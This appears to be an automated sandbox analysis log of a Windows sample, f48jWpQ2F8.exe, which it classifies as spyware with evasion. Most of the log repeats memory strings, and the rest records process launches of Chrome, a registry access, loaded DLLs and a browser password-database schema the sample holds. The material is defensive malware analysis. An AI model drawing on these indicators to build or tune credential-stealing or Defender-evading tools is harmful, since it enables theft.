Source: f48jWpQ2F8.exe, 00000000.00000003.1795631982.0000000005F6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1789539395.0000000005FCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1800990795.0000000005FAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1787670922.0000000005EFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1790727238.0000000005FFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1788842921.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1791368569.0000000006013000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1787490465.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1788324310.0000000005FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1785980189.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1785871423.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1798117304.00000000060C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1795133053.0000000005F6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1792645491.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1791738334.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1796620733.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1789432304.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1787392156.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1787583930.0000000005E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1794982370.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1797416458.0000000005F92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1787861436.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1801164936.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1801513561.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1790578151.0000000005F28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1798434251.0000000005F94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1793387783.0000000006039000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1791475819.0000000005E73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1787763762.0000000005F9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1797186073.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1789897423.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000002.1926742895.0000000006135000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1793247727.0000000005F4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1794496539.0000000005F66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1783777157.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1792508854.0000000006045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1783777157.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1790465858.0000000005E67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1799091985.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1799759509.0000000005E6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1788226739.0000000005F12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000002.1927584377.00000000063E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1837845175.00000000059DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1793545892.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1788130191.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1797004680.00000000060A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1792209000.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1793095691.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1793875092.0000000006055000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1795284474.000000000606F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1787957610.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1797930593.0000000005F94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1796814409.0000000005F7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1788632689.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1792369361.0000000005F4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1795912196.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1788035816.0000000005FB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1799924111.0000000005FAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1798756498.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1791998643.0000000006033000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1801863228.00000000060F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1791864773.0000000005F52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1795454444.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1801685986.0000000005FB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1795758422.000000000607A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1792866731.0000000005F65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1794675280.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1783777157.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1786388133.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1791608300.0000000005F46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1786183599.0000000005ACB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1790853260.0000000005E75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1790974245.0000000005F4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1788949868.0000000005F1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1800450579.0000000005E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1790005420.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1796423209.0000000006091000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1794032112.0000000005E72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1790355719.0000000006004000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1790243717.0000000005F34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1789779111.0000000005F27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1791109942.0000000005E6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1798276208.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1789656393.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1788423061.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1798593079.00000000060C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1796216301.0000000005F7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1797658581.0000000005E68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1799262697.0000000005FA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1801335748.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1786079971.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1794834945.0000000005F70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1800625041.0000000005FB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1794335239.0000000005E70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1789326448.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1836736018.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1800092844.0000000005E73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1800810055.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1799583120.00000000060E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1794204691.0000000005F75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1793712369.0000000005F5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1790121116.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1791236284.0000000005F3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1788523373.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1800270616.0000000005FA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1788739448.0000000005F22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1798930168.0000000005FA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe
Source: f48jWpQ2F8.exe, 00000000.00000003.1786291121.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs f48jWpQ2F8.exe

Source: f48jWpQ2F8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: f48jWpQ2F8.exe

Static PE information: Section: ZLIB complexity 1.0003758591065293

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@11/5

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: f48jWpQ2F8.exe, 00000000.00000003.1519819542.00000000059DA000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1566248206.0000000005A03000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1518191812.00000000059F7000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1566381897.00000000059F6000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: f48jWpQ2F8.exe	ReversingLabs: Detection: 47%
Source: f48jWpQ2F8.exe	Virustotal: Detection: 55%

Source: f48jWpQ2F8.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: f48jWpQ2F8.exe	String found in binary or memory: =RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNe

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe

File read: C:\Users\user\Desktop\f48jWpQ2F8.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\f48jWpQ2F8.exe "C:\Users\user\Desktop\f48jWpQ2F8.exe"
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1896,i,13068996111565046042,17270305819011272188,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1916,i,3855862438101677687,7345271916108378695,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1896,i,13068996111565046042,17270305819011272188,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1916,i,3855862438101677687,7345271916108378695,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	Section loaded: winnsi.dll	Jump to behavior
